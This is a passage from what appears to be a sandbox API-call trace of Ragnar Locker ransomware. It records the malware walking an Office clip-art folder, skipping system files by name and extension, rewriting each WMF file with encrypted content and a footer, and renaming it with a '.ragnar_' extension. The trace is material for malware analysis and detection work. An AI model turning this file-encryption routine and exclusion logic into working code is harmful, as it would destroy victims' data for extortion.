Office\\CLIPART\\PUB60COR\\J0105338.WMF" [0083.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ragnar_FD7BD9FC" [0083.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0083.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.719] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105348.WMF" | out: lpString1="J0105348.WMF") returned="J0105348.WMF" [0083.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned=".WMF" [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="autorun.inf") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="boot.ini") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="bootfont.bin") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="bootsect.bak") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="bootmgr") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="bootmgr.efi") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="bootmgfw.efi") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="desktop.ini") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="iconcache.db") returned 1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="ntldr") returned -1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="ntuser.dat") returned -1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="ntuser.dat.log") returned -1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="ntuser.ini") returned -1 [0083.720] lstrcmpiW (lpString1="J0105348.WMF", lpString2="thumbs.db") returned -1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.720] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0083.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.721] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17060) returned 1 [0083.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x429b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.721] GetProcessHeap () returned 0x580000 [0083.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.721] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.722] VirtualAlloc (lpAddress=0x0, dwSize=0x42a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.722] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x42a4, lpOverlapped=0x0) returned 1 [0083.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x42a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x42a4, lpOverlapped=0x0) returned 1 [0083.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x42a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.725] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.725] GetProcessHeap () returned 0x580000 [0083.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.725] CloseHandle (hObject=0xf4) returned 1 [0083.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" [0083.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ragnar_FD7BD9FC" [0083.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0083.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105360.WMF" | out: lpString1="J0105360.WMF") returned="J0105360.WMF" [0083.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned=".WMF" [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="autorun.inf") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="boot.ini") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="bootfont.bin") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="bootsect.bak") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="bootmgr") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="bootmgr.efi") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="bootmgfw.efi") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="desktop.ini") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="iconcache.db") returned 1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="ntldr") returned -1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="ntuser.dat") returned -1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="ntuser.dat.log") returned -1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="ntuser.ini") returned -1 [0083.726] lstrcmpiW (lpString1="J0105360.WMF", lpString2="thumbs.db") returned -1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.726] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0083.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.727] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8860) returned 1 [0083.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2293, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.727] GetProcessHeap () returned 0x580000 [0083.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.727] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.729] VirtualAlloc (lpAddress=0x0, dwSize=0x229c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.729] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x229c, lpOverlapped=0x0) returned 1 [0083.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x229c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.730] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x229c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x229c, lpOverlapped=0x0) returned 1 [0083.730] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x229c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.730] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x229c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.731] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.731] GetProcessHeap () returned 0x580000 [0083.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.731] CloseHandle (hObject=0xf4) returned 1 [0083.731] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" [0083.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ragnar_FD7BD9FC" [0083.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.732] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0083.732] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.732] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105368.WMF" | out: lpString1="J0105368.WMF") returned="J0105368.WMF" [0083.732] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned=".WMF" [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="autorun.inf") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="boot.ini") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="bootfont.bin") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="bootsect.bak") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="bootmgr") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="bootmgr.efi") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="bootmgfw.efi") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="desktop.ini") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="iconcache.db") returned 1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="ntldr") returned -1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="ntuser.dat") returned -1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="ntuser.dat.log") returned -1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="ntuser.ini") returned -1 [0083.732] lstrcmpiW (lpString1="J0105368.WMF", lpString2="thumbs.db") returned -1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.732] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0083.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.734] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12380) returned 1 [0083.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3053, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.734] GetProcessHeap () returned 0x580000 [0083.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.734] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.736] VirtualAlloc (lpAddress=0x0, dwSize=0x305c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.736] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x305c, lpOverlapped=0x0) returned 1 [0083.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.737] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x305c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.737] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x305c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x305c, lpOverlapped=0x0) returned 1 [0083.737] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x305c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.738] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x305c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.738] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.738] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.738] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.738] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.738] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.738] GetProcessHeap () returned 0x580000 [0083.738] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.738] CloseHandle (hObject=0xf4) returned 1 [0083.738] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" [0083.738] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ragnar_FD7BD9FC" [0083.738] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.739] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 